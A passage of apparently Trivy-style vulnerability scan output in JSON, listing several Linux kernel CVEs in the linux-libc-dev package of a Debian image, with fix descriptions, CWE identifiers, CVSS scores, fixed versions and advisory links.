"sha256:2f6fa3f0ba60182277b40abe34549f689d89d0501aaf12bcdc61e30bc9d93477", "Title": "kernel: soc: ti: pruss: Fix double free in pruss_clk_mux_setup()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: ti: pruss: Fix double free in pruss_clk_mux_setup()\n\nIn the pruss_clk_mux_setup(), the devm_add_action_or_reset() indirectly\ncalls pruss_of_free_clk_provider(), which calls of_node_put(clk_mux_np)\non the error path. However, after the devm_add_action_or_reset()\nreturns, the of_node_put(clk_mux_np) is called again, causing a double\nfree.\n\nFix by returning directly, to avoid the duplicate of_node_put().", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43196", "https://git.kernel.org/linus/80db65d4acfb9ff12d00172aed39ea8b98261aad%20%287.0-rc1%29", "https://git.kernel.org/stable/c/04dbbb18cc9c8795c9ff47d8994bc03ebfef9d68", "https://git.kernel.org/stable/c/24c40076e3bc3d73c839c886d6bda1da6c4d9b93", "https://git.kernel.org/stable/c/69aa67c1e22d13e9aad4b08c86304ad8e743dcab", "https://git.kernel.org/stable/c/80db65d4acfb9ff12d00172aed39ea8b98261aad", "https://git.kernel.org/stable/c/818cf66d91c8ef09b01664a12d5f4ea786d64396", "https://git.kernel.org/stable/c/b7db9953c2f8da37de498198623b05b46f8e2ca0", "https://git.kernel.org/stable/c/dbda01bf2dfe5af33163e1e5fca1b82b619c2803", "https://git.kernel.org/stable/c/e113339cc7d23be4948891f3a702e9dce5b47035", "https://lore.kernel.org/linux-cve-announce/2026050644-CVE-2026-43196-b9da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43196", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43196" ], "PublishedDate": "2026-05-06T12:16:38.607Z", "LastModifiedDate": "2026-06-17T10:49:08.017Z" }, { "VulnerabilityID": "CVE-2026-43198", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43198", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b30dc9739dad2e9473359ef0e5235815db4da196e2d37e960968dbb1d78be5cb", "Title": "kernel: tcp: fix potential race in tcp_v6_syn_recv_sock()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix potential race in tcp_v6_syn_recv_sock()\n\nCode in tcp_v6_syn_recv_sock() after the call to tcp_v4_syn_recv_sock()\nis done too late.\n\nAfter tcp_v4_syn_recv_sock(), the child socket is already visible\nfrom TCP ehash table and other cpus might use it.\n\nSince newinet-\u003epinet6 is still pointing to the listener ipv6_pinfo\nbad things can happen as syzbot found.\n\nMove the problematic code in tcp_v6_mapped_child_init()\nand call this new helper from tcp_v4_syn_recv_sock() before\nthe ehash insertion.\n\nThis allows the removal of one tcp_sync_mss(), since\ntcp_v4_syn_recv_sock() will call it with the correct\ncontext.", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-821" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:33215", "https://access.redhat.com/errata/RHSA-2026:33285", "https://access.redhat.com/errata/RHSA-2026:34094", "https://access.redhat.com/errata/RHSA-2026:34443", "https://access.redhat.com/errata/RHSA-2026:35863", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:35896", "https://access.redhat.com/errata/RHSA-2026:35904", "https://access.redhat.com/errata/RHSA-2026:36073", "https://access.redhat.com/errata/RHSA-2026:36216", "https://access.redhat.com/errata/RHSA-2026:36348", "https://access.redhat.com/errata/RHSA-2026:36349", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-43198", "https://bugzilla.redhat.com/2456521", "https://bugzilla.redhat.com/2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2461510", "https://bugzilla.redhat.com/show_bug.cgi?id=2464397", "https://bugzilla.redhat.com/show_bug.cgi?id=2467228", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2482031", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31636", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43038", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43198", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45898", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://errata.almalinux.org/9/ALSA-2026-33285.html", "https://errata.rockylinux.org/RLSA-2026:30129", "https://git.kernel.org/linus/858d2a4f67ff69e645a43487ef7ea7f28f06deae%20%287.0-rc2%29", "https://git.kernel.org/stable/c/7178e2a8027423b2af17ab95df73a749a5b72e5b", "https://git.kernel.org/stable/c/858d2a4f67ff69e645a43487ef7ea7f28f06deae", "https://git.kernel.org/stable/c/9ed654e340f4c73bc6f0af2fbc90ac293e645ce0", "https://git.kernel.org/stable/c/a7e761ba55efaa9c49e0afdd304bb78167af3429", "https://git.kernel.org/stable/c/aef4a9ae95d1bc4f7897065011e6261026719aeb", "https://git.kernel.org/stable/c/cd644e6dc72eec8d9d988717ea1c54f8668ded69", "https://git.kernel.org/stable/c/dad1fe7db6c6519138430ac8f5e589c18f83bfc9", "https://git.kernel.org/stable/c/fe89b2f05b854847784f91127319172945c1fadd", "https://linux.oracle.com/cve/CVE-2026-43198.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026050645-CVE-2026-43198-0870@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43198", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43198.json", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8634-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8662-1", "https://ubuntu.com/security/notices/USN-8662-2", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://www.cve.org/CVERecord?id=CVE-2026-43198" ], "PublishedDate": "2026-05-06T12:16:38.857Z", "LastModifiedDate": "2026-10-19T20:18:10.39Z" }, { "VulnerabilityID": "CVE-2026-43205", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43205", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fab839fef023a88abaaa8d8cc06d7f477f9bbe4cf6d2a9e3107c06090b631c15", "Title": "kernel: Linux kernel dpaa2-switch: Kernel memory corruption via out-of-bounds write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: validate num_ifs to prevent out-of-bounds write\n\nThe driver obtains sw_attr.num_ifs from firmware via dpsw_get_attributes()\nbut never validates it against DPSW_MAX_IF (64). This value controls\niteration in dpaa2_switch_fdb_get_flood_cfg(), which writes port indices\ninto the fixed-size cfg-\u003eif_id[DPSW_MAX_IF] array. When firmware reports\nnum_ifs \u003e= 64, the loop can write past the array bounds.\n\nAdd a bound check for num_ifs in dpaa2_switch_init().\n\ndpaa2_switch_fdb_get_flood_cfg() appends the control interface (port\nnum_ifs) after all matched ports. When num_ifs == DPSW_MAX_IF and all\nports match the flood filter, the loop fills all 64 slots and the control\ninterface write overflows by one entry.\n\nThe check uses \u003e= because num_ifs == DPSW_MAX_IF is also functionally\nbroken.\n\nbuild_if_id_bitmap() silently drops any ID \u003e= 64:\n if (id[i] \u003c DPSW_MAX_IF)\n bmap[id[i] / 64] |= ...", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21557", "https://access.redhat.com/security/cve/CVE-2026-43205", "https://bugzilla.redhat.com/2334560", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2451199", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464402", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467090", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2334560", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2451199", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464402", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467090", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56645", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23375", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43205", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/10/ALSA-2026-21557.html", "https://errata.rockylinux.org/RLSA-2026:21557", "https://git.kernel.org/linus/8a5752c6dcc085a3bfc78589925182e4e98468c5%20%287.0-rc2%29", "https://git.kernel.org/stable/c/89764cf44544e943230f5e03b8c40a90da26537c", "https://git.kernel.org/stable/c/8a5752c6dcc085a3bfc78589925182e4e98468c5", "https://git.kernel.org/stable/c/8b841fd529db9faf8bc678d429d4bf4e98b10900", "https://git.kernel.org/stable/c/a26dda3bae469c8e4e1b1993ad33dafa32d0fc28", "https://git.kernel.org/stable/c/a3034a8d56174dd6464c46823438f25797910a8d", "https://git.kernel.org/stable/c/b690635d4719214892855b79ce018d4b1672ac96", "https://git.kernel.org/stable/c/c18493f750208eb4ff1198fc5a02786b8b2d70a6", "https://linux.oracle.com/cve/CVE-2026-43205.html", "https://linux.oracle.com/errata/ELSA-2026-21557.html", "https://lore.kernel.org/linux-cve-announce/2026050647-CVE-2026-43205-3180@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43205", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43205" ], "PublishedDate": "2026-05-06T12:16:39.747Z", "LastModifiedDate": "2026-06-17T10:49:09.007Z" }, { "VulnerabilityID": "CVE-2026-43206", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43206", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cbb82e44d2bca3618135a3c2335e960ff8a56e4cf469a2cb19307e48ade1fb8b", "Title": "kernel: drm/amdkfd: Fix out-of-bounds write in kfd_event_page_set()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix out-of-bounds write in kfd_event_page_set()\n\nThe kfd_event_page_set() function writes KFD_SIGNAL_EVENT_LIMIT * 8\nbytes via memset without checking the buffer size parameter. This allows\nunprivileged userspace to trigger an out-of bounds kernel memory write\nby passing a small buffer, leading to potential privilege\nescalation.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-43206", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/8a70a26c9f34baea6c3199a9862ddaff4554a96d%20%287.0-rc1%29", "https://git.kernel.org/stable/c/3e04bc310d80b46eaf481f1fefcbcb37a187412d", "https://git.kernel.org/stable/c/4857c37c7ba9aa38b9a4c694e8bd8d0091c87940", "https://git.kernel.org/stable/c/4e72f419e4ed44cb3b60506752d8688c20a60a9b", "https://git.kernel.org/stable/c/75fb57efdd7863fffbc39db23e9cad7aafda26ed", "https://git.kernel.org/stable/c/8a70a26c9f34baea6c3199a9862ddaff4554a96d", "https://git.kernel.org/stable/c/b4034442cb090e4a980bdcc1540948606cbc951b", "https://git.kernel.org/stable/c/bfcd6b53e1f4feb182952f4ff9a137c36ceaf20b", "https://git.kernel.org/stable/c/de8d7a25cd2eb5875b1d8d4fbc7fe4b4138b781f", "https://linux.oracle.com/cve/CVE-2026-43206.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026050647-CVE-2026-43206-ca61@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43206", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43206" ], "PublishedDate": "2026-05-06T12:16:39.903Z", "LastModifiedDate": "2026-10-19T20:18:10.89Z" }, { "VulnerabilityID": "CVE-2026-43241", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43241", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f588e01146b78a4db82a790082c82eb38e777f7e3c7d50c083eac8de00b6e4c7", "Title": "kernel: ntb: ntb_hw_switchtec: Fix array-index-out-of-bounds access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb: ntb_hw_switchtec: Fix array-index-out-of-bounds access\n\nNumber of MW LUTs depends on NTB configuration and can be set to MAX_MWS,\nThis patch protects against invalid index out of bounds access to mw_sizes\nWhen invalid access print message to user that configuration is not valid.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43241", "https://git.kernel.org/linus/c8ba7ad2cc1c7b90570aa347b8ebbe279f1eface%20%287.0-rc1%29", "https://git.kernel.org/stable/c/0e930420945106151c6eb3d7837b4e6154e9b144", "https://git.kernel.org/stable/c/2346856b74823a2a78109002e479a3d02526a9ce", "https://git.kernel.org/stable/c/348e1ac9ad983ed7e62de14e1daf47f1695a4ce9", "https://git.kernel.org/stable/c/47ce292dd45dc689747c40603222691638919189", "https://git.kernel.org/stable/c/740945de896021b9a859e71f38f6aea72a6393cf", "https://git.kernel.org/stable/c/85c9daa1f8319bbb3dfee71dc6a2f969cd3b4c92", "https://git.kernel.org/stable/c/c8ba7ad2cc1c7b90570aa347b8ebbe279f1eface", "https://git.kernel.org/stable/c/ee02c4f980c91820845dd8e469ec7dc670ab6d9d", "https://lore.kernel.org/linux-cve-announce/2026050600-CVE-2026-43241-b0ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43241", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", 